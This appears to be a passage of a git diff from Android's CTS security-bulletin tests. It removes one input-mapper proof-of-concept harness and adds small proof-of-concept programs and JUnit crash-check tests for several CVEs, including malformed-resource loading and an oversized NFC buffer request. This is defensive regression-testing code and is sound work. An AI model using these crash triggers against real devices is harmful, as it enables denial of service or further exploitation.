int32_t type, int32_t code, - int32_t value) { - std::scoped_lock<std::mutex> lock(mLock); - RawEvent event; - event.when = when; - event.readTime = readTime; - event.deviceId = deviceId; - event.type = type; - event.code = code; - event.value = value; - mEvents.push_back(event); - - if (type == EV_ABS) { - setAbsoluteAxisValue(deviceId, code, value); - } - } - - void setVideoFrames( - std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> videoFrames) { - mVideoFrames = std::move(videoFrames); - } - -private: - Device* getDevice(int32_t deviceId) const { - ssize_t index = mDevices.indexOfKey(deviceId); - return index >= 0 ? mDevices.valueAt(index) : nullptr; - } - - Flags<InputDeviceClass> getDeviceClasses(int32_t deviceId) const override { - Device* device = getDevice(deviceId); - return device ? device->classes : Flags<InputDeviceClass>(0); - } - - InputDeviceIdentifier getDeviceIdentifier(int32_t deviceId) const override { - Device* device = getDevice(deviceId); - return device ? device->identifier : InputDeviceIdentifier(); - } - - int32_t getDeviceControllerNumber(int32_t) const override { return 0; } - - void getConfiguration(int32_t deviceId, PropertyMap* outConfiguration) const override { - Device* device = getDevice(deviceId); - if (device) { - *outConfiguration = device->configuration; - } - } - - status_t getAbsoluteAxisInfo(int32_t deviceId, int axis, - RawAbsoluteAxisInfo* outAxisInfo) const override { - Device* device = getDevice(deviceId); - if (device && device->enabled) { - ssize_t index = device->absoluteAxes.indexOfKey(axis); - if (index >= 0) { - *outAxisInfo = device->absoluteAxes.valueAt(index); - return OK; - } - } - outAxisInfo->clear(); - return -1; - } - - bool hasRelativeAxis(int32_t deviceId, int axis) const override { - Device* device = getDevice(deviceId); - if (device) { - return device->relativeAxes.indexOfKey(axis) >= 0; - } - return false; - } - - bool hasInputProperty(int32_t, int) const override { return false; } - - bool hasMscEvent(int32_t deviceId, int mscEvent) const override final { - Device* device = getDevice(deviceId); - if (device) { - return mscEvent >= 0 && mscEvent <= MSC_MAX ? device->mscBitmask.test(mscEvent) : false; - } - return false; - } - - status_t mapKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t metaState, - int32_t* outKeycode, int32_t* outMetaState, uint32_t* outFlags) const override { - Device* device = getDevice(deviceId); - if (device) { - const KeyInfo* key = getKey(device, scanCode, usageCode); - if (key) { - if (outKeycode) { - *outKeycode = key->keyCode; - } - if (outFlags) { - *outFlags = key->flags; - } - if (outMetaState) { - *outMetaState = metaState; - } - return OK; - } - } - return NAME_NOT_FOUND; - } - - const KeyInfo* getKey(Device* device, int32_t scanCode, int32_t usageCode) const { - if (usageCode) { - ssize_t index = device->keysByUsageCode.indexOfKey(usageCode); - if (index >= 0) { - return &device->keysByUsageCode.valueAt(index); - } - } - if (scanCode) { - ssize_t index = device->keysByScanCode.indexOfKey(scanCode); - if (index >= 0) { - return &device->keysByScanCode.valueAt(index); - } - } - return nullptr; - } - - status_t mapAxis(int32_t, int32_t, AxisInfo*) const override { return NAME_NOT_FOUND; } - - base::Result<std::pair<InputDeviceSensorType, int32_t>> mapSensor(int32_t deviceId, - int32_t absCode) { - Device* device = getDevice(deviceId); - if (!device) { - return Errorf("Sensor device not found."); - } - auto it = device->sensorsByAbsCode.find(absCode); - if (it == device->sensorsByAbsCode.end()) { - return Errorf("Sensor map not found."); - } - const SensorInfo& info = it->second; - return std::make_pair(info.sensorType, info.sensorDataIndex); - } - - void setExcludedDevices(const std::vector<std::string>& devices) override { - mExcludedDevices = devices; - } - - size_t getEvents(int, RawEvent* buffer, size_t bufferSize) override { - std::scoped_lock lock(mLock); - - const size_t filledSize = std::min(mEvents.size(), bufferSize); - std::copy(mEvents.begin(), mEvents.begin() + filledSize, buffer); - - mEvents.erase(mEvents.begin(), mEvents.begin() + filledSize); - mEventsCondition.notify_all(); - return filledSize; - } - - std::vector<TouchVideoFrame> getVideoFrames(int32_t deviceId) override { - auto it = mVideoFrames.find(deviceId); - if (it != mVideoFrames.end()) { - std::vector<TouchVideoFrame> frames = std::move(it->second); - mVideoFrames.erase(deviceId); - return frames; - } - return {}; - } - - int32_t getScanCodeState(int32_t deviceId, int32_t scanCode) const override { - Device* device = getDevice(deviceId); - if (device) { - ssize_t index = device->scanCodeStates.indexOfKey(scanCode); - if (index >= 0) { - return device->scanCodeStates.valueAt(index); - } - } - return AKEY_STATE_UNKNOWN; - } - - int32_t getKeyCodeState(int32_t deviceId, int32_t keyCode) const override { - Device* device = getDevice(deviceId); - if (device) { - ssize_t index = device->keyCodeStates.indexOfKey(keyCode); - if (index >= 0) { - return device->keyCodeStates.valueAt(index); - } - } - return AKEY_STATE_UNKNOWN; - } - - int32_t getSwitchState(int32_t deviceId, int32_t sw) const override { - Device* device = getDevice(deviceId); - if (device) { - ssize_t index = device->switchStates.indexOfKey(sw); - if (index >= 0) { - return device->switchStates.valueAt(index); - } - } - return AKEY_STATE_UNKNOWN; - } - - status_t getAbsoluteAxisValue(int32_t deviceId, int32_t axis, - int32_t* outValue) const override { - Device* device = getDevice(deviceId); - if (device) { - ssize_t index = device->absoluteAxisValue.indexOfKey(axis); - if (index >= 0) { - *outValue = device->absoluteAxisValue.valueAt(index); - return OK; - } - } - *outValue = 0; - return -1; - } - - // Return true if the device has non-empty key layout. - bool markSupportedKeyCodes(int32_t deviceId, size_t numCodes, const int32_t* keyCodes, - uint8_t* outFlags) const override { - bool result = false; - Device* device = getDevice(deviceId); - if (device) { - result = device->keysByScanCode.size() > 0 || device->keysByUsageCode.size() > 0; - for (size_t i = 0; i < numCodes; i++) { - for (size_t j = 0; j < device->keysByScanCode.size(); j++) { - if (keyCodes[i] == device->keysByScanCode.valueAt(j).keyCode) { - outFlags[i] = 1; - } - } - for (size_t j = 0; j < device->keysByUsageCode.size(); j++) { - if (keyCodes[i] == device->keysByUsageCode.valueAt(j).keyCode) { - outFlags[i] = 1; - } - } - } - } - return result; - } - - bool hasScanCode(int32_t deviceId, int32_t scanCode) const override { - Device* device = getDevice(deviceId); - if (device) { - ssize_t index = device->keysByScanCode.indexOfKey(scanCode); - return index >= 0; - } - return false; - } - - bool hasLed(int32_t deviceId, int32_t led) const override { - Device* device = getDevice(deviceId); - return device && device->leds.indexOfKey(led) >= 0; - } - - void setLedState(int32_t deviceId, int32_t led, bool on) override {} - - void getVirtualKeyDefinitions( - int32_t deviceId, std::vector<VirtualKeyDefinition>& outVirtualKeys) const override { - outVirtualKeys.clear(); - - Device* device = getDevice(deviceId); - if (device) { - outVirtualKeys = device->virtualKeys; - } - } - - const std::shared_ptr<KeyCharacterMap> getKeyCharacterMap(int32_t) const override { - return nullptr; - } - - bool setKeyboardLayoutOverlay(int32_t, std::shared_ptr<KeyCharacterMap>) override { - return false; - } - - void vibrate(int32_t, const VibrationElement&) override {} - - void cancelVibrate(int32_t) override {} - - std::vector<int32_t> getVibratorIds(int32_t deviceId) override { return mVibrators; }; - - std::optional<int32_t> getBatteryCapacity(int32_t, int32_t) const override { - return BATTERY_CAPACITY; - } - - std::optional<int32_t> getBatteryStatus(int32_t, int32_t) const override { - return BATTERY_STATUS; - } - - const std::vector<int32_t> getRawBatteryIds(int32_t deviceId) { return {}; } - - std::optional<RawBatteryInfo> getRawBatteryInfo(int32_t deviceId, int32_t batteryId) { - return std::nullopt; - } - - const std::vector<int32_t> getRawLightIds(int32_t deviceId) override { - std::vector<int32_t> ids; - for (const auto& [rawId, info] : mRawLightInfos) { - ids.push_back(rawId); - } - return ids; - } - - std::optional<RawLightInfo> getRawLightInfo(int32_t deviceId, int32_t lightId) override { - auto it = mRawLightInfos.find(lightId); - if (it == mRawLightInfos.end()) { - return std::nullopt; - } - return it->second; - } - - void setLightBrightness(int32_t deviceId, int32_t lightId, int32_t brightness) override { - mLightBrightness.emplace(lightId, brightness); - } - - void setLightIntensities(int32_t deviceId, int32_t lightId, - std::unordered_map<LightColor, int32_t> intensities) override { - mLightIntensities.emplace(lightId, intensities); - }; - - std::optional<int32_t> getLightBrightness(int32_t deviceId, int32_t lightId) override { - auto lightIt = mLightBrightness.find(lightId); - if (lightIt == mLightBrightness.end()) { - return std::nullopt; - } - return lightIt->second; - } - - std::optional<std::unordered_map<LightColor, int32_t>> getLightIntensities( - int32_t deviceId, int32_t lightId) override { - auto lightIt = mLightIntensities.find(lightId); - if (lightIt == mLightIntensities.end()) { - return std::nullopt; - } - return lightIt->second; - }; - - virtual bool isExternal(int32_t) const { return false; } - - void dump(std::string&) override {} - - void monitor() override {} - - void requestReopenDevices() override {} - - void wake() override {} -}; - -// --- TestInputMapper--- - -class TestInputMapper : public InputMapper { - uint32_t mSources; - int32_t mKeyboardType; - int32_t mMetaState; - KeyedVector<int32_t, int32_t> mKeyCodeStates; - KeyedVector<int32_t, int32_t> mScanCodeStates; - KeyedVector<int32_t, int32_t> mSwitchStates; - std::vector<int32_t> mSupportedKeyCodes; - - std::mutex mLock; - std::condition_variable mStateChangedCondition; - bool mConfigureWasCalled GUARDED_BY(mLock); - bool mResetWasCalled GUARDED_BY(mLock); - bool mProcessWasCalled GUARDED_BY(mLock); - RawEvent mLastEvent GUARDED_BY(mLock); - - std::optional<DisplayViewport> mViewport; - -public: - TestInputMapper(InputDeviceContext& deviceContext, uint32_t sources) - : InputMapper(deviceContext), - mSources(sources), - mKeyboardType(AINPUT_KEYBOARD_TYPE_NONE), - mMetaState(0), - mConfigureWasCalled(false), - mResetWasCalled(false), - mProcessWasCalled(false) {} - - virtual ~TestInputMapper() {} - - void setKeyboardType(int32_t keyboardType) { mKeyboardType = keyboardType; } - - void setMetaState(int32_t metaState) { mMetaState = metaState; } - void setKeyCodeState(int32_t keyCode, int32_t state) { - mKeyCodeStates.replaceValueFor(keyCode, state); - } - - void setScanCodeState(int32_t scanCode, int32_t state) { - mScanCodeStates.replaceValueFor(scanCode, state); - } - - void setSwitchState(int32_t switchCode, int32_t state) { - mSwitchStates.replaceValueFor(switchCode, state); - } - - void addSupportedKeyCode(int32_t keyCode) { mSupportedKeyCodes.push_back(keyCode); } - -private: - uint32_t getSources() override { return mSources; } - - void populateDeviceInfo(InputDeviceInfo* deviceInfo) override { - InputMapper::populateDeviceInfo(deviceInfo); - - if (mKeyboardType != AINPUT_KEYBOARD_TYPE_NONE) { - deviceInfo->setKeyboardType(mKeyboardType); - } - } - - void configure(nsecs_t, const InputReaderConfiguration* config, uint32_t changes) override { - std::scoped_lock<std::mutex> lock(mLock); - mConfigureWasCalled = true; - - // Find the associated viewport if exist. - const std::optional<uint8_t> displayPort = getDeviceContext().getAssociatedDisplayPort(); - if (displayPort && (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) { - mViewport = config->getDisplayViewportByPort(*displayPort); - } - - mStateChangedCondition.notify_all(); - } - - void reset(nsecs_t) override { - std::scoped_lock<std::mutex> lock(mLock); - mResetWasCalled = true; - mStateChangedCondition.notify_all(); - } - - void process(const RawEvent* rawEvent) override { - std::scoped_lock<std::mutex> lock(mLock); - mLastEvent = *rawEvent; - mProcessWasCalled = true; - mStateChangedCondition.notify_all(); - } - - int32_t getKeyCodeState(uint32_t, int32_t keyCode) override { - ssize_t index = mKeyCodeStates.indexOfKey(keyCode); - return index >= 0 ? mKeyCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN; - } - - int32_t getScanCodeState(uint32_t, int32_t scanCode) override { - ssize_t index = mScanCodeStates.indexOfKey(scanCode); - return index >= 0 ? mScanCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN; - } - - int32_t getSwitchState(uint32_t, int32_t switchCode) override { - ssize_t index = mSwitchStates.indexOfKey(switchCode); - return index >= 0 ? mSwitchStates.valueAt(index) : AKEY_STATE_UNKNOWN; - } - - // Return true if the device has non-empty key layout. - bool markSupportedKeyCodes(uint32_t, size_t numCodes, const int32_t* keyCodes, - uint8_t* outFlags) override { - for (size_t i = 0; i < numCodes; i++) { - for (size_t j = 0; j < mSupportedKeyCodes.size(); j++) { - if (keyCodes[i] == mSupportedKeyCodes[j]) { - outFlags[i] = 1; - } - } - } - bool result = mSupportedKeyCodes.size() > 0; - return result; - } - - virtual int32_t getMetaState() { return mMetaState; } - - virtual void fadePointer() {} - - virtual std::optional<int32_t> getAssociatedDisplay() { - if (mViewport) { - return std::make_optional(mViewport->displayId); - } - return std::nullopt; - } -}; - -// --- InstrumentedInputReader --- - -class InstrumentedInputReader : public InputReader { - std::queue<std::shared_ptr<InputDevice>> mNextDevices; - -public: - InstrumentedInputReader(std::shared_ptr<EventHubInterface> eventHub, - const sp<InputReaderPolicyInterface>& policy, - const sp<InputListenerInterface>& listener) - : InputReader(eventHub, policy, listener), mTestContext(this) {} - - virtual ~InstrumentedInputReader() {} - - void pushNextDevice(std::shared_ptr<InputDevice> device) { mNextDevices.push(device); } - - std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name, - const std::string& location = "") { - InputDeviceIdentifier identifier; - identifier.name = name; - identifier.location = location; - int32_t generation = deviceId + 1; - return std::make_shared<InputDevice>(&mTestContext, deviceId, generation, identifier); - } - - // Make the protected loopOnce method accessible to tests. - using InputReader::loopOnce; - -protected: - virtual std::shared_ptr<InputDevice> createDeviceLocked(int32_t eventHubId, - const InputDeviceIdentifier& identifier) - REQUIRES(mLock) { - if (!mNextDevices.empty()) { - std::shared_ptr<InputDevice> device(std::move(mNextDevices.front())); - mNextDevices.pop(); - return device; - } - return InputReader::createDeviceLocked(eventHubId, identifier); - } - - // --- TestInputReaderContext --- - class TestInputReaderContext : public ContextImpl { - int32_t mGlobalMetaState; - bool mUpdateGlobalMetaStateWasCalled; - int32_t mGeneration; - - public: - TestInputReaderContext(InputReader* reader) - : ContextImpl(reader), - mGlobalMetaState(0), - mUpdateGlobalMetaStateWasCalled(false), - mGeneration(1) {} - - virtual ~TestInputReaderContext() {} - - void assertUpdateGlobalMetaStateWasCalled() { mUpdateGlobalMetaStateWasCalled = false; } - - void setGlobalMetaState(int32_t state) { mGlobalMetaState = state; } - - uint32_t getGeneration() { return mGeneration; } - - void updateGlobalMetaState() override { - mUpdateGlobalMetaStateWasCalled = true; - ContextImpl::updateGlobalMetaState(); - } - - int32_t getGlobalMetaState() override { - return mGlobalMetaState | ContextImpl::getGlobalMetaState(); - } - - int32_t bumpGeneration() override { - mGeneration = ContextImpl::bumpGeneration(); - return mGeneration; - } - } mTestContext; - -public: - TestInputReaderContext* getContext() { return &mTestContext; } -}; - -// --- InputMapperTest --- - -class InputMapperTest { -public: - std::shared_ptr<TestEventHub> mTestEventHub; - sp<TestInputReaderPolicy> mTestPolicy; - sp<TestInputListener> mTestListener; - std::unique_ptr<InstrumentedInputReader> mReader; - std::shared_ptr<InputDevice> mDevice; - - virtual void SetUp(Flags<InputDeviceClass> classes) { - mTestEventHub = std::make_unique<TestEventHub>(); - mTestPolicy = new TestInputReaderPolicy(); - mTestListener = new TestInputListener(); - mReader = std::make_unique<InstrumentedInputReader>(mTestEventHub, mTestPolicy, - mTestListener); - mDevice = newDevice(DEVICE_ID, DEVICE_NAME, DEVICE_LOCATION, EVENTHUB_ID, classes); - } - - void SetUp() { SetUp(DEVICE_CLASSES); } - - void TearDown() { - mTestListener.clear(); - mTestPolicy.clear(); - } - virtual ~InputMapperTest() {} - - void addConfigurationProperty(const char* key, const char* value) { - mTestEventHub->addConfigurationProperty(EVENTHUB_ID, String8(key), String8(value)); - } - - void configureDevice(uint32_t changes) { - if (!changes || (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) { - mReader->requestRefreshConfiguration(changes); - mReader->loopOnce(); - } - mDevice->configure(ARBITRARY_TIME, mTestPolicy->getReaderConfiguration(), changes); - } - - std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name, - const std::string& location, int32_t eventHubId, - Flags<InputDeviceClass> classes) { - InputDeviceIdentifier identifier; - identifier.name = name; - identifier.location = location; - std::shared_ptr<InputDevice> device = - std::make_shared<InputDevice>(mReader->getContext(), deviceId, DEVICE_GENERATION, - identifier); - mReader->pushNextDevice(device); - mTestEventHub->addDevice(eventHubId, name, classes); - mReader->loopOnce(); - return device; - } - - template <class T, typename... Args> - T& addMapperAndConfigure(Args... args) { - T& mapper = mDevice->addMapper<T>(EVENTHUB_ID, args...); - configureDevice(0); - mDevice->reset(ARBITRARY_TIME); - mapper.reset(ARBITRARY_TIME); - return mapper; - } - - void setDisplayInfoAndReconfigure(int32_t displayId, int32_t width, int32_t height, - int32_t orientation, const std::string& uniqueId, - std::optional<uint8_t> physicalPort, - ViewportType viewportType) { - mTestPolicy->addDisplayViewport(displayId, width, height, orientation, true /*isActive*/, - uniqueId, physicalPort, viewportType); - configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO); - } - - void clearViewports() { mTestPolicy->clearViewports(); } - - void process(InputMapper& mapper, nsecs_t when, nsecs_t readTime, int32_t type, int32_t code, - int32_t value) { - RawEvent event; - event.when = when; - event.readTime = readTime; - event.deviceId = mapper.getDeviceContext().getEventHubId(); - event.type = type; - event.code = code; - event.value = value; - mapper.process(&event); - mReader->loopOnce(); - } - void Process_DeactivateViewport_AbortTouches(); -}; - -void InputMapperTest::Process_DeactivateViewport_AbortTouches() { - SetUp(); - addConfigurationProperty("touch.deviceType", "touchScreen"); - mTestPolicy->addDisplayViewport(DISPLAY_ID, DISPLAY_WIDTH, DISPLAY_HEIGHT, - DISPLAY_ORIENTATION_0, true /*isActive*/, UNIQUE_ID, NO_PORT, - ViewportType::INTERNAL); - std::optional<DisplayViewport> optionalDisplayViewport = - mTestPolicy->getDisplayViewportByUniqueId(UNIQUE_ID); - DisplayViewport displayViewport = *optionalDisplayViewport; - - configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO); - mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_X, RAW_X_MIN, RAW_X_MAX, 0, 0); - mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_Y, RAW_Y_MIN, RAW_Y_MAX, 0, 0); - MultiTouchInputMapper& mapper = addMapperAndConfigure<MultiTouchInputMapper>(); - - // Finger down - int32_t x = 100, y = 100; - process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x); - process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y); - process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0); - - NotifyMotionArgs motionArgs; - - // Deactivate display viewport - displayViewport.isActive = false; - mTestPolicy->updateViewport(displayViewport); - configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO); - - // Finger move - x += 10, y += 10; - process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x); - process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y); - process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0); - - // Reactivate display viewport - displayViewport.isActive = true; - mTestPolicy->updateViewport(displayViewport); - configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO); - - // Finger move again - x += 10, y += 10; - process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x); - process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y); - process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0); -} - -} // namespace android - -int main() { - android::InputMapperTest inputMapperTest; - inputMapperTest.Process_DeactivateViewport_AbortTouches(); - return 0; -} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp new file mode 100644 index 00000000000..8fd68012c9c --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2021-39664", + defaults: [ + "cts_hostsidetests_securitybulletin_defaults", + ], + srcs: [ + "poc.cpp", + ":cts_hostsidetests_securitybulletin_memutils", + ], + shared_libs: [ + "libandroidfw", + "libui", + ], + cflags: [ + "-DCHECK_OVERFLOW", + "-DENABLE_SELECTIVE_OVERLOADING", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp new file mode 100644 index 00000000000..0c477f6eb18 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp @@ -0,0 +1,65 @@ +/** + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <androidfw/ApkAssets.h> + +#include <vector> +#include "../includes/common.h" +#include "../includes/memutils.h" + +using android::LoadedArsc; + +bool testInProgress = false; +char enable_selective_overload = ENABLE_NONE; +FILE *file = nullptr; + +struct sigaction new_action, old_action; +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (testInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + _exit(EXIT_FAILURE); +} + +void exitHandler(void) { + if (file) { + fclose(file); + file = nullptr; + } +} + +int main(int argc, char **argv) { + atexit(exitHandler); + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + FAIL_CHECK(argc >= 2); + file = fopen(argv[1], "r"); + FAIL_CHECK(file); + fseek(file, 0, SEEK_END); + size_t size = ftell(file); + fseek(file, 0, SEEK_SET); + enable_selective_overload = ENABLE_ALL; + std::vector<uint8_t> buffer(size); + enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK; + FAIL_CHECK(fread((void *)buffer.data(), 1, size, file) == size); + testInProgress = true; + LoadedArsc::Load(buffer.data(), size); + testInProgress = false; + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp new file mode 100644 index 00000000000..b4bdd3c07f0 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp @@ -0,0 +1,39 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2021-39675", + compile_multilib: "64", + defaults: [ + "cts_hostsidetests_securitybulletin_defaults", + ], + srcs: [ + "poc.cpp", + ], + shared_libs: [ + "libnfc-nci", + ], + include_dirs: [ + "system/nfc/src/include", + "system/nfc/src/gki/common", + "system/nfc/src/gki/ulinux", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp new file mode 100644 index 00000000000..78ebda8c62b --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp @@ -0,0 +1,22 @@ +/** + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include "../includes/common.h" +#include "gki.h" + +int main() { + return (GKI_getbuf(USHRT_MAX) == nullptr) ? EXIT_SUCCESS : EXIT_VULNERABLE; +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java index 31da488db56..810f92d7616 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java @@ -34,9 +34,10 @@ public class CVE_2018_9558 extends SecurityTestCase { @AsbSecurityTest(cveBugId = 112161557) public void testPocCVE_2018_9558() throws Exception { AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); pocPusher.only64(); String binaryName = "CVE-2018-9558"; - String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT}; + String signals[] = {CrashUtils.SIGABRT}; AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName); testConfig.config.setSignals(signals); diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java new file mode 100644 index 00000000000..181d660df48 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java @@ -0,0 +1,56 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import java.util.regex.Pattern; + +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2019_2012 extends SecurityTestCase { + + /** + * b/120497437 + * Vulnerability Behaviour: SIGSEGV in self + * Vulnerable Library: libnfc-nci (As per AOSP code) + * Vulnerable Function: rw_t3t_update_block (As per AOSP code) + */ + @AsbSecurityTest(cveBugId = 120497437) + @Test + public void testPocCVE_2019_2012() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); + pocPusher.only64(); + String signals[] = {CrashUtils.SIGSEGV}; + String binaryName = "CVE-2019-2012"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes( + new BacktraceFilterPattern("libnfc-nci", "rw_t3t_update_block")); + testConfig.config + .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath")); + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java new file mode 100644 index 00000000000..6689459f68a --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java @@ -0,0 +1,52 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.compatibility.common.util.CrashUtils; + +import java.util.Arrays; +import java.util.ArrayList; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2020_0034 extends SecurityTestCase { + + /** + * b/62458770 + * Vulnerability Behaviour: SIGABRT in self + */ + @AsbSecurityTest(cveBugId = 62458770) + @Test + public void testPocCVE_2020_0034() throws Exception { + pocPusher.only32(); + String binaryName = "CVE-2020-0034"; + String inputFiles[] = {"cve_2020_0034.ivf"}; + String signals[] = {CrashUtils.SIGABRT}; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName); + testConfig.inputFiles = Arrays.asList(inputFiles); + testConfig.inputFilesDestination = AdbUtils.TMP_PATH; + testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0]; + testConfig.config.setSignals(signals); + 